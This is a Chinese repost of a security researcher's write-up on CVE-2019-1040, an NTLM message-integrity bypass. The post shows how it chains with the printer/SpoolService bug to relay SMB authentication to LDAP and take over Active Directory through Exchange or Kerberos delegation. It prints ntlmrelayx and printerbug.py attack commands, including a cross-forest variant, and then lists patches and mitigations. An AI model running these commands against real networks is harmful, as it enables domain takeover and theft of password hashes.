本周早些时候,微软发布了CVE-2019-1040补丁 ,这是一个允许绕过NTLM replay mitigations漏洞。该漏洞是由 Marina Simakov和Yaron Zinar 发现(以及Microsoft Advisory 中的其他几位成员),他们发表了有关该漏洞的技术文章在这里. 短版本是此漏洞允许在 NTLM 身份验证中绕过消息完整性代码。然而,如果结合 Lee Christensen发现的打印机Bug ,以及我自己的一些研究 ,该研究建立在Elad Shamir的 Kerberos 研究基础之上,其危害是很大的。使用这些漏洞的组合,可以中继 SMB 身份验证到 LDAP。这允许以system权限执行远程代码 在任何未修补的 Windows 服务器或工作站(甚至在不同的活动目录林), 并通过任何未修补的 Exchange 服务器升级到域管理员(除非在域中减少了 Exchange 权限)。这篇文章最重要的要点是, 你应该尽快应用2019年6月的补丁。
将SMB 重放到 LDAP 需要 0 步
正如我之前在我的博客中讨论过的P rivExchange 那样,过去一年,不同人群的研究使我们距离接管 ActiveDirectory中的任何计算机都差了一步。如果可以使 Windows 服务器(如 Exchange)对您进行身份验证, 并将该身份验证通过 LDAP 中继到域控制器,则可以在 ActiveDirectory 中执行具有查重访受害者权限的操作。在 Exchange 中, 产生了足够高的特权来授予自己 DCSync 权限,这基于PrivExchange 漏洞。
或者,通过滥用基于资源的约束 Kerberos 委派 ,可以在受害者服务器上授予攻击者模拟权限,这将导致管理员访问该服务器上(在 "我的Worst of bothWorlds post) 。但是,问题在于,由于 NTLM 协议的工作方式,无法(或多或少地) 将 SMB 流量重放到 LDAP, 因为标志将触发 LDAP 签名。这防止了通过滥用 SpoolService bug在 SMB 上触发的身份验证产生更大的影响。
CVE-2019-1040 漏洞使得在不使身份验证无效的情况下修改 NTLM 身份验证数据包成为可能, 从而使攻击者能够删除阻止从 SMB 重放到 LDAP 的标志。由于 Active Directory 已经处于相当危险的状态(一个漏洞远离接管任何主机),因此此单个漏洞是使用 SpoolService bug/功能危害任何系统的最后一块难题。这甚至可以跨林 信任,因为 SpoolService bug 的唯一要求是任何经过身份验证的帐户。
攻击
目前,我已经确定了两个攻击途径:
有几点注意事项:
Proof of concepts(POC)
我已经更新了ntlmrelayx(impacket 的一部分),有一个--remove-mic
flag,它利用CVE-2019-1040基于技术描述Preempt researchers .
攻击1 - 在Exchange上选取(再次)
在第一次攻击中,我们使用 SpoolService/打印机 Bug攻击 Exchange 服务器,并使用 ntlmrelayx 重放此服务器。我使用的是 krbrelayx repo 中的printerbug.py ,您也可以使用 dementor 或the original .NET code。
python printerbug.py testsegment.local/testuser_s2012exc.testsegment.local<attackerip/hostname >
这将使 Exchange 服务器连接到我们:
我们运行 ntlrelayx的 --remove-mic
flag并进行捕获:
ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
这将授予我们的用户 DCSync 权限,我们可用于转储所有密码哈希 :
攻击 2 -Kerberos 委派
第二次攻击主要是我之前博客 中描述的过程。
我们使用ntlmrelayx.py的-- remov-mic和--delegate-access flags通过TLS(LDAPS)并将其 重放到 LDAP,以便能够创建新的计算机帐户(我们也可以 重放到普通 LDAP,但随后我们必须升级现有计算机帐户):
ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
并再次对printerbug.py脚本运行辅助域控制器(我知道下面的 rlt-app-server,这是我在实验室中升级到 DC 的服务器):
这让我们获得重放连接,创建一个计算机帐户 :
我们以用它来模拟域管理员帐户:
我们可以使用此impersonate直接针对此 DC 运行 secretsdump,并获得所有哈希:)
奖金 - 跳过林
如果我们的用户在完全不同的(受信任的)活动目录林中 ,我们可以在replaytest.local 域中执行完全相同的攻击, 因为任何经过身份验证的用户都可以触发 SpoolService后台连接。因此,我设置了从replaytest .local 到 domainb.local的单向传出林信任(这意味着来自 domain.b 的用户可以在replaytest进行身份验证林/域 )。这同样可以与双向信任一起发挥作用。
我们运行相同的命令,但现在用户从domainb触发打印机 Bug:
我们看到相同的结果:
防御和缓解措施
通过滥用 CVE-2019-1040,我们可以使用协议弱点和默认设置的组合接管任何易受攻击的 Windows 主机。最重要的缓解措施是尽快安装2019年6月的补丁。
除此之外,如果你还没有这样做,可按照PrivExchange 博客 (发布的更新部分)中讨论的那样减少Exchange的权限__。
您可以通过 TLS 强制实施 LDAP 签名和 LDAP 通道绑定来防止 NTLM 重放到 LDAP 。但是,如其他博客中所述,当未安装此问题的修补程序时, 也可以绕过通道绑定。
为了防止攻击者触发SpoolService Bug,您可以选择禁用 Printer Spooler服务。另一种缓解措施是阻止敏感主机上的端口 445 上的传出流量,或者确保网络 过滤可防止服务器连接到客户端范围并尽可能隔离各个客户端。拥有高度分段的网络是一种重要的防御措施。
最后,请记住,即使安装所有可用的修补程序 ,您仍可以将 SMB重放 到LDAP 1,除非您应用进一步的纵深防御措施,否则它只是在等待下一个不可避免的 NTLM 漏洞利用。
致谢
这篇文章结合了许多研究人员的工作:
本文转载自白帽汇
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.